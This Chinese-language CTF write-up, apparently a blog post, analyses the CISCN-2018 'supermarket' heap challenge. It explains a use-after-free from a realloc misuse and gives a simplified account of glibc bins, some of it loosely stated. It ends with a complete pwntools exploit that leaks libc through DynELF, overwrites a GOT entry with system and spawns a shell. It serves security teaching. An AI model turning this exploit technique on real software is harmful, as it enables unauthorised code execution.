CISCN-2018-Quals——supermarket分析

supermarket的题目分析

2020-02-01 11:26:17 by hawkJW


题目附件、ida文件及wp链接


   这道题实际上我们大体一看,就可以发现是于堆相关的题目,正好用这道题来学习内存的分配机制。这个分配机制是经过查阅的资料综合一些实验,经过自己的理解得出来的,如果有错误,希望各位师傅谅解!


1. 程序流程总览

首先,按照惯例,我们看一下程序开启的保护措施,如图所示

除了栈上不可以执行以外,其余的保护措施基本没有开启,因此该程序的保护措施还是比较松的。

下面我们来粗略的浏览一下程序的源代码来分析程序流程(ida文件已经经过优化,提高其可读性)

  

实际上,前两个程序并不是很重要,程序流程主要在第三个函数中,我们详细看一下

可以看出来,这是一个比较经典的菜单类题目,我们需要通过程序给出的6个功能 add()、dele()、lis()、changePrice()、changeDes()、exit() 来达到获取shell的目的

 

实际上,我们根据程序的名称以及所给的功能,可以猜到,这应该是添加、修改、删除货物的程序,因此我们需要首先获取货物是如何在程序中进行存储的,即货物的数据结构,我们可以在 add() 函数中分析出来。

通过printf中的各种提示内容,以及上下文,我们可以分析出数据的字段顺序、字段大小以及字段含义,基本如下图所示

因此,实际上,整个程序的数据的结构如下图所示


 2. 漏洞分析

  实际上,该程序的漏洞比较隐蔽,主要是位于 changeDes() 下面这部分代码

注意到这里使用了 realloc 函数,简单介绍一下 realloc 函数

char *realloc(char *ptr, unsigned int newSize) {

    unsigned int curSize;
    char *newPtr;
    if (ptr == 0) {
      return malloc(newSize);
    }

    curSize = Mem_Size(ptr);  //获取ptr所对应的实际区块的大小
    if (newSize <= curSize) {
      return ptr;
    }

    newPtr = malloc(newSize);
    bcopy(ptr, newPtr, (int) curSize);
    free(ptr);
    return(newPtr);
}  
/*  即如果newSize要比ptr对应的实际区块的大小还要大的话,只能先开辟新的空间,将数据转移后,释放掉久的空间
   其他情况的话,仍然返回初始空间
*/

 

也就是说,如果一旦程序代码数据有

size >= (*(&items + v1))->description_size + 2 * SIZE_SZ

实际上上面的 realloc((void *)(*(&items + v1))->description, size) 的函数就可以近似为

realloc((void *)(*(&items + v1))->description, size){
    free((*(&items + v1))->description);
    return malloc(size);
}

但是由于并没有及时的让 (*(&items + v1))->description 更新到新 malloc() 的内存处,因此, (*(&items + v1))->description 仍然指向已经被 free() 掉的内存,自然的我们此时仍然可以向 free() 掉的内存处写入数据(使用程序提供的 changeDes() )。这样子,如果我们再配合计算机的 malloc() 机制,将这个被释放的内存重新分配成一个货物,我们就可以控制该货物的所有参数,从而达到任意地址的读(通过 lis() 函数)、写(通过 changeDes() 函数),从而获取 shell 


 3. 漏洞利用

   知道了上述的程序漏洞后,就可以方便的利用该漏洞来获取 shell ,按照上面的漏洞原理,我们要做的是将free()掉的内存,记为货物A的描述,重新分配给新的货物,记为货物B,从而利用漏洞来达到对任意地址的读、写功能。

  分析程序知道,货物数据的大小为 0x1c ,由于这是32位程序,其分配到的实际块大小为 (0x1c + 0x4) align to 0x8 = 0x20 ,也就是我们需要让该0x20的大小货物B从free()掉的内存来进行分配,就可使用上述的漏洞。

 

  这里需要稍微简单的介绍一下的内存分配机制。实际上,malloc()将堆分为了 fastbin 、 smallbin 、 largebin 以及 unsorted bin 几个类型

  1.  fastbin

   fastbin 的大小从 SIZE_SZ * 4 开始,以步长为 SIZE_SZ * 2 开始,一直到 64 * SIZE_SZ / 4 为止。每一个大小由单向链表进行组织。

  2.  smallbin

  smallbin的大小从SIZE_SZ * 4开始,以步长为SIZE_SZ * 2开始,一直到 63 * SIZE_SZ * 2 为止。每一个大小代表着一个双向循环链表进行组织。

  3.  unsorted bin

  unsorted bin的大小没有什么特殊的要求,但一般的,其大小应该至少大于fastbin的最大值,也就是64 * SIZE_SZ / 4

  4.  largebin

  largebin顾名思义,其是相对于比较大的块,当然,且也进行按照大小进行了分类,但是不同于上面的分类,其每一个类内的大小是处于一个范围而非精确值。其范围宽度为32个64字节、16个512字节、8个4096字节、4个32768字节、2个262144字节,当然还有最后一个分组的范围宽度没有限制。

  上面介绍完了对应的几个块的类型,下面来说具体的机制。

  1. 分配

  我们首先要将申请的大小转换为对应的块的实际大小,即 max(SIZE_SZ * 4, (size + 8) align to (SIZE_SZ * 2)) 如果大小范围在fastbin范围之中,则首先直接到对应大小的单向链表中查询;如果没有的话,再在smallbin之中的对应的大小进行查找;如果还是没有的话,在unsorted bin中查找块的大小满足需求,则直接切割分配即可,如果没有切割剩余,则结束即可;若有切割剩余,将切割剩余的仍然放在unsorted bin中,将unsorted bin中的其余的块按照对应的大小分别放入smallbin或largebin中;如果还是不行,再在largebin中查找对应的块,即首先将所有的fastbin合并移入smallbin或largebin,如果对应的块的切分部分大于SIZE_SZ * 4,则将剩余部分放入unsorted bin;如果还是没有的话,则在top块(特殊块)进行分配;如果top块也无法满足,则使用mmap来进行映射。

  2. 回收

  如果块的大小在fastbin范围之中,将对应的块放入到对应的fastbin之中。如果块的大小不在fastbin的范围之中,则将物理上相邻的释放块进行合并,如果还与TOP块相邻,则合并入到TOP块中,否则放入到unsorted bin之中,如果该合并的块足够大,将会将所有的fastbin合并并再次放入到unsorted bin之中。

  总而言之,简单的回顾了一下内存的分配以及回收机制,现在回到整体上来——即如何让该0x20大小的数据,即货物B,从free()掉的内存,即货物A的描述来进行分配

  因为实际上0x20大小的货物B处于fastbin范围中,那么我们其中一个直观的想法是假如一开始 (*(&items + v1))->description_size 的值为 0x1c ,那么实际上将分配的货物A的描述的大小为0x20,如果此时我们令 realloc((void *)(*(&items + v1))->description, size) 中size大小大于0x20,则成功将其释放,如果我们在重新使用add()来申请货物B话,那么就可以申请到该被释放的空间,则完成漏洞的利用。但是实际上是有问题的,如果我们想修改货物B的参数,则需要使用changeDes()来修改货物A的描述,将realloc((void *)(*(&items + v1))->description, size)中size大小仍然设置为0x1c,就可以修改货物A的描述,也即货物B的参数,然而修改参数的函数稍微有些限制,如图所示

实际上其仅仅能最多读取 length - 1 字节的输入,也就是我们仅仅能修改货物B的参数最多前0x1b字节,而实际上我们真正想修改的是货物B的描述信息的地址,而其位置恰处于第0x19-0x1c字节。由于该限制,我们就无法实现任意地址的读、写。因此,我们需要换一个思路,既能满足上述的漏洞利用条件——货物B从free()的货物A的描述中来分配,同时可以完全修改货物B的所有参数。实际上,根据上面讲到的,我们还有另外一种思路,我们实际上,我们可以通过切割,即让货物A的描述释放后位于unsorted bin之中,而货物B的分配是通过分割货物A的描述,这样子,我们就不会出现上面的问题了,于是就可以利用该漏洞。

下面,我们大概描述一下漏洞利用中的结构变换,首先申请3个货物

add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')

记住,第二个就相当于我们之前提到的货物A,则其结构如图所示,

下面我们按照之前说的进行漏洞利用,从而构造一个货物B,其名称为‘4’

changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')

则其结构变为

下面的步骤就很简单了,主要就是通过 DynELF 来获取 system 函数的位置,从而完成漏洞利用

这里就不详细说了,直接放出完整的wp

#coding:utf-8
from pwn import *

# context.log_level = 'debug'
debug = 1 

if debug == 1:
    r = process('./supermarket')
    # gdb.attach(r)
else:
    r = remote('111.198.29.45', 56608)


def add(name, price, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('1\n')

    r.recvuntil('name:')
    r.send(name + '\n')

    r.recvuntil('price:')
    r.send(str(price) + '\n')

    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')

    r.recvuntil('description:')
    r.send(str(description) + '\n')
    

def dele(name):
    r.recvuntil('your choice>> ')
    r.send('2\n')

    r.recvuntil('name:')
    r.send(name + '\n')

def lis():
    r.recvuntil('your choice>> ')
    r.send('3\n')
    r.recvuntil('all  commodities info list below:\n')
    return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]

def changePrice(name, price):
    r.recvuntil('your choice>> ')
    r.send('4\n')

    r.recvuntil('name:')
    r.send(name + '\n')

    r.recvuntil('input the value you want to cut or rise in:')
    r.send(str(price) + '\n')

def changeDes(name, descrip_size, description):
    r.recvuntil('your choice>> ')
    r.send('5\n')
    
    r.recvuntil('name:')
    r.send(name + '\n')

    r.recvuntil('descrip_size:')
    r.send(str(descrip_size) + '\n')

    r.recvuntil('description:')
    r.send(description + '\n')

def exit():
    r.recvuntil('your choice>> ')
    r.send('6\n')


add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')

def leak_one(address):
    changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))
    res = lis().split('des.')[-1]
    if(res == '\n'):
        return '\x00'
    return res[0]

def leak(address):
    content =  leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)
    log.info('%#x => %#x'%(address, u32(content)))
    return content

d = DynELF(leak, elf = ELF('./supermarket'))
system_addr = d.lookup('system', 'libc') 
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')

r.interactive()

总结

  这道题主要考察了两个方面,一个是漏洞的查找——因为我对于 realloc() 不是很熟悉,所以找到这个漏洞点确实废了不少时间;另一个就是对于内存分配机制的理解,虽然我查了不少资料,但是总感觉还是查了一点意思。所以上面我写的内存的分配与回收步骤是按照我查阅的资料以及自己的一些理解和实验上写出来的,如果有错误,还望各位师傅理解!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值